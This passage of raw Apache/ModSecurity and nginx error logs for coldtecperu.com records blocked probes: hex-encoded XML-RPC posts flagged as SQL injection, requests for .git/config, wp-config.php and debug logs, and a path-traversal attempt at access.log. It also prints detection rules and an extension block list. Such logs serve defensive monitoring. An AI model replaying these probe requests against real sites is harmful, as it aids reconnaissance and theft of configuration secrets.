"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQZhMJMDaC1FxMkNEvBR1AAAAMA"] [Sat Nov 01 19:44:24.631744 2025] [:error] [pid 23588:tid 23665] [client 103.139.144.104:59674] File does not exist: /home/coldtecp/public_html/wp-login.php [Sat Nov 01 22:54:54.167399 2025] [:error] [pid 23588:tid 23659] [client 169.150.203.200:51900] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Nov 02 00:44:18.633557 2025] [:error] [pid 23711:tid 23713] [client 173.252.70.27:57910] [client 173.252.70.27] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQbvskDAlugP8BKUrTR1UwAAAMA"] [Sun Nov 02 03:49:20.673653 2025] [:error] [pid 30685:tid 30693] [client 173.252.95.12:41306] [client 173.252.95.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQcbEI5r2VnBuo9hTkIOQQAAAMY"] [Sun Nov 02 13:33:24.843744 2025] [:error] [pid 30685:tid 30692] [client 186.22.17.80:48880] [client 186.22.17.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQej9I5r2VnBuo9hTkIgQAAAAMU"] [Sun Nov 02 13:33:25.456748 2025] [:error] [pid 30338:tid 30395] [client 186.22.17.80:48882] [client 186.22.17.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQej9UTj1425fTBcUm2uvgAAAEA"] [Mon Nov 03 02:26:02.170990 2025] [:error] [pid 30339:tid 30359] [client 173.252.82.8:53164] [client 173.252.82.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aQhZCjr4WvDZQ990CFHuGQAAAJA"] [Mon Nov 03 12:03:03.353256 2025] [:error] [pid 13771:tid 13810] [client 168.195.133.12:43616] [client 168.195.133.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x79691ca3de found within XML: metaWeblog.newPost12992029920title0x79691ca3description0x79691ca3mt_keywords0x79691ca3mt_excerpt0x79691ca31"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQjgR0JNpRDWaSUI2BducgAAAI0"] [Mon Nov 03 20:38:09.297620 2025] [:error] [pid 14333:tid 14337] [client 191.183.37.21:41478] [client 191.183.37.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x8f9109d0de found within XML: metaWeblog.newPost17026670266title0x8f9109d0description0x8f9109d0mt_keywords0x8f9109d0mt_excerpt0x8f9109d01"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQlZARlAzkVMdBggDYgMLwAAAMI"] [Wed Nov 05 00:07:38.336933 2025] [:error] [pid 2273:tid 2343] [client 103.180.170.62:39212] [client 103.180.170.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xa8997303de found within XML: metaWeblog.newPost12985829858title0xa8997303description0xa8997303mt_keywords0xa8997303mt_excerpt0xa89973031"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQrbmspNWN_1U75yUg9hmgAAAJM"] [Wed Nov 05 10:18:05.749189 2025] [:error] [pid 15608:tid 15626] [client 89.187.187.79:37124] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Nov 05 16:40:10.920266 2025] [:error] [pid 15133:tid 15178] [client 169.150.203.240:53654] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Nov 06 16:56:32.607684 2025] [:error] [pid 28528:tid 28603] [client 156.146.63.204:52524] [client 156.146.63.204] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".xsd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/vendor/phpunit/phpunit/phpunit.xsd"] [unique_id "aQ0ZkC7sah26--M0xmWo1wAAAJA"] [Thu Nov 06 17:12:35.085079 2025] [:error] [pid 29087:tid 29111] [client 49.47.255.223:53744] [client 49.47.255.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x40c5d8eade found within XML: metaWeblog.newPost13099230992title0x40c5d8eadescription0x40c5d8eamt_keywords0x40c5d8eamt_excerpt0x40c5d8ea1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aQ0dU2y5Q40WIAat0Gj_vwAAANY"] 2025/11/06 19:41:42 [error] 28392#28392: *233293 access forbidden by rule, client: 185.177.72.49, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" [Thu Nov 06 19:42:13.399982 2025] [:error] [pid 15032:tid 15057] [client 185.177.72.49:36432] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "aQ1AZTqiMs1ggEE_DBmVWAAAARQ"] [Thu Nov 06 19:42:13.648014 2025] [:error] [pid 28526:tid 28556] [client 185.177.72.49:36438] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/wp-content/debug.log"] [unique_id "aQ1AZUGpZfiT1q9l1DnkbQAAAAY"] [Thu Nov 06 19:42:14.639958 2025] [:error] [pid 15162:tid 15194] [client 185.177.72.49:36462] File does not exist: /home/coldtecp/public_html/wp-config.php [Fri Nov 07 02:25:54.595176 2025] [:error] [pid 15162:tid 15196] [client 158.51.121.183:34016] [client 158.51.121.183] ModSecurity: Access denied with code 403 (phase 2). Found 30 byte(s) in ARGS:_path outside range: 1-255. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "534"] [id "960901"] [rev "2"] [msg "Invalid character in request"] [severity "ERROR"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/EVASION"] [hostname "coldtecperu.com"] [uri "/_fragment"] [unique_id "aQ2fAoiiN5xr2c0EfVpXcAAAAcQ"] [Fri Nov 07 02:33:58.619416 2025] [:error] [pid 28528:tid 28589] [client 34.11.49.163:34720] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Nov 07 08:22:53.232895 2025] [:error] [pid 19366:tid 19387] [client 144.172.91.193:39484] File does not exist: /home/coldtecp/public_html/installer.php [Sun Nov 09 10:59:52.224357 2025] [:error] [pid 20876:tid 20892] [client 45.8.17.210:60660] File does not exist: /home/coldtecp/public_html/adminer.php [Sun Nov 09 12:53:07.521172 2025] [:error] [pid 20630:tid 20677] [client 103.244.175.15:42278] [client 103.244.175.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x283b27ffde found within XML: metaWeblog.newPost19523195231title0x283b27ffdescription0x283b27ffmt_keywords0x283b27ffmt_excerpt0x283b27ff1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRDVA7YHkm9Sz2MKVKLdJAAAAJE"] [Mon Nov 10 23:41:46.856627 2025] [:error] [pid 9838:tid 9856] [client 202.47.47.199:35330] [client 202.47.47.199] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x76ac71b2de found within XML: metaWeblog.newPost14865348653title0x76ac71b2description0x76ac71b2mt_keywords0x76ac71b2mt_excerpt0x76ac71b21"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRK-ikNAjhVoKCYrKD3ihQAAAcA"] 2025/11/11 13:18:41 [error] 23307#23307: *638524 access forbidden by rule, client: 157.245.116.174, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/11 13:18:45 [error] 23307#23307: *638529 access forbidden by rule, client: 157.245.116.174, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Nov 11 16:12:17.419103 2025] [:error] [pid 21361:tid 21379] [client 27.49.188.146:49928] [client 27.49.188.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x8b5d9b90de found within XML: metaWeblog.newPost14833748337title0x8b5d9b90description0x8b5d9b90mt_keywords0x8b5d9b90mt_excerpt0x8b5d9b901"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aROmsR55br4cN5o25VTdnQAAAQc"] 2025/11/11 20:57:08 [error] 23307#23307: *662526 access forbidden by rule, client: 3.81.23.7, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/11 21:24:36 [error] 23307#23307: *663829 access forbidden by rule, client: 159.203.170.121, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/11 21:24:37 [error] 23306#23306: *663830 access forbidden by rule, client: 159.203.170.121, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/11 21:45:17 [error] 23307#23307: *664677 access forbidden by rule, client: 159.203.170.121, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/11 21:45:18 [error] 23307#23307: *664678 access forbidden by rule, client: 159.203.170.121, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/11 22:08:30 [error] 23306#23306: *665722 access forbidden by rule, client: 3.81.23.7, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/12 00:00:21 [error] 23307#23307: *670228 access forbidden by rule, client: 3.81.23.7, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/12 00:40:23 [error] 23307#23307: *671998 access forbidden by rule, client: 3.81.23.7, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Wed Nov 12 04:32:37.519606 2025] [:error] [pid 18141:tid 18164] [client 142.93.0.229:52416] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/11/12 07:44:51 [error] 17649#17649: *691633 access forbidden by rule, client: 54.189.19.84, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/11/12 07:45:30 [error] 17647#17647: *691669 access forbidden by rule, client: 18.117.227.103, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/12 07:47:56 [error] 17647#17647: *691759 access forbidden by rule, client: 3.250.163.58, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/12 08:02:08 [error] 17647#17647: *692312 access forbidden by rule, client: 35.175.190.200, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/12 08:32:38 [error] 17649#17649: *693555 access forbidden by rule, client: 15.228.170.91, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Wed Nov 12 10:50:59.408018 2025] [:error] [pid 18141:tid 18147] [client 138.68.99.201:57848] [client 138.68.99.201] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".xsd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/vendor/phpunit/phpunit/phpunit.xsd"] [unique_id "aRSs4zKHlqvZVV0zNfugGwAAAMQ"] 2025/11/12 12:38:17 [error] 17649#17649: *704949 access forbidden by rule, client: 18.237.50.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/12 12:44:39 [error] 17649#17649: *705176 access forbidden by rule, client: 15.164.93.172, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/12 12:53:06 [error] 17647#17647: *705861 access forbidden by rule, client: 15.152.145.217, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Wed Nov 12 22:34:07.360275 2025] [:error] [pid 17674:tid 17738] [client 146.70.117.199:45000] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Nov 13 07:27:15.120533 2025] [:error] [pid 10496:tid 10514] [client 196.171.90.26:44698] [client 196.171.90.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x228be64cde found within XML: metaWeblog.newPost14907549075title0x228be64cdescription0x228be64cmt_keywords0x228be64cmt_excerpt0x228be64c1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRXOo15yTLXH8ahcytY_twAAANA"] 2025/11/14 02:35:51 [error] 10121#10121: *766559 access forbidden by rule, client: 45.155.65.13, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/14 10:36:56 [error] 25712#25712: *777586 access forbidden by rule, client: 45.155.65.13, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/14 19:03:37 [error] 6119#6119: *5693 access forbidden by rule, client: 146.190.242.161, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Fri Nov 14 19:03:40.506054 2025] [authz_core:error] [pid 6162:tid 6175] [client 209.38.248.17:35592] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Fri Nov 14 19:03:40.915162 2025] [authz_core:error] [pid 6163:tid 6238] [client 206.189.2.13:35630] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/11/14 19:03:41 [error] 6120#6120: *6096 access forbidden by rule, client: 209.38.248.17, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/14 19:03:41 [error] 6119#6119: *6119 access forbidden by rule, client: 206.189.2.13, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/11/14 19:03:42 [error] 6119#6119: *6157 access forbidden by rule, client: 178.128.207.138, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/14 19:03:42 [error] 6119#6119: *6158 access forbidden by rule, client: 68.183.9.16, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Fri Nov 14 19:03:42.342417 2025] [:error] [pid 6163:tid 6200] [client 209.38.248.17:35752] File does not exist: /home/coldtecp/public_html/info.php [Fri Nov 14 19:03:42.604542 2025] [:error] [pid 6164:tid 6239] [client 206.189.2.13:35778] File does not exist: /home/coldtecp/public_html/info.php 2025/11/14 19:03:42 [error] 6119#6119: *6195 access forbidden by rule, client: 139.59.143.102, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Fri Nov 14 19:03:43.638138 2025] [authz_core:error] [pid 6164:tid 6213] [client 142.93.143.8:35844] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Fri Nov 14 19:03:43.722201 2025] [authz_core:error] [pid 6162:tid 6173] [client 138.197.191.87:35846] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/11/14 19:03:44 [error] 6119#6119: *6313 access forbidden by rule, client: 142.93.143.8, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/11/14 19:03:45 [error] 6120#6120: *6314 access forbidden by rule, client: 164.90.208.56, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/14 19:03:45 [error] 6119#6119: *6315 access forbidden by rule, client: 138.197.191.87, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/14 19:03:46 [error] 6119#6119: *6352 access forbidden by rule, client: 138.197.191.87, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Fri Nov 14 19:03:46.127250 2025] [:error] [pid 6303:tid 6327] [client 142.93.143.8:35940] File does not exist: /home/coldtecp/public_html/info.php [Fri Nov 14 19:03:46.190399 2025] [:error] [pid 6162:tid 6196] [client 138.197.191.87:35942] File does not exist: /home/coldtecp/public_html/info.php 2025/11/14 19:05:15 [error] 6120#6120: *6533 access forbidden by rule, client: 151.241.154.239, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/14 19:05:15 [error] 6119#6119: *6535 access forbidden by rule, client: 151.241.154.239, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/14 19:05:15 [error] 6119#6119: *6534 access forbidden by rule, client: 151.241.154.239, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/14 19:05:15 [error] 6120#6120: *6536 access forbidden by rule, client: 151.241.154.239, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/14 19:05:15 [error] 6120#6120: *6537 access forbidden by rule, client: 151.241.154.239, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/11/14 19:05:15 [error] 6120#6120: *6538 access forbidden by rule, client: 151.241.154.239, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/14 19:05:21 [error] 6120#6120: *6571 access forbidden by rule, client: 151.241.154.239, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Sat Nov 15 00:46:09.210268 2025] [:error] [pid 6303:tid 6309] [client 106.219.162.61:54876] [client 106.219.162.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data 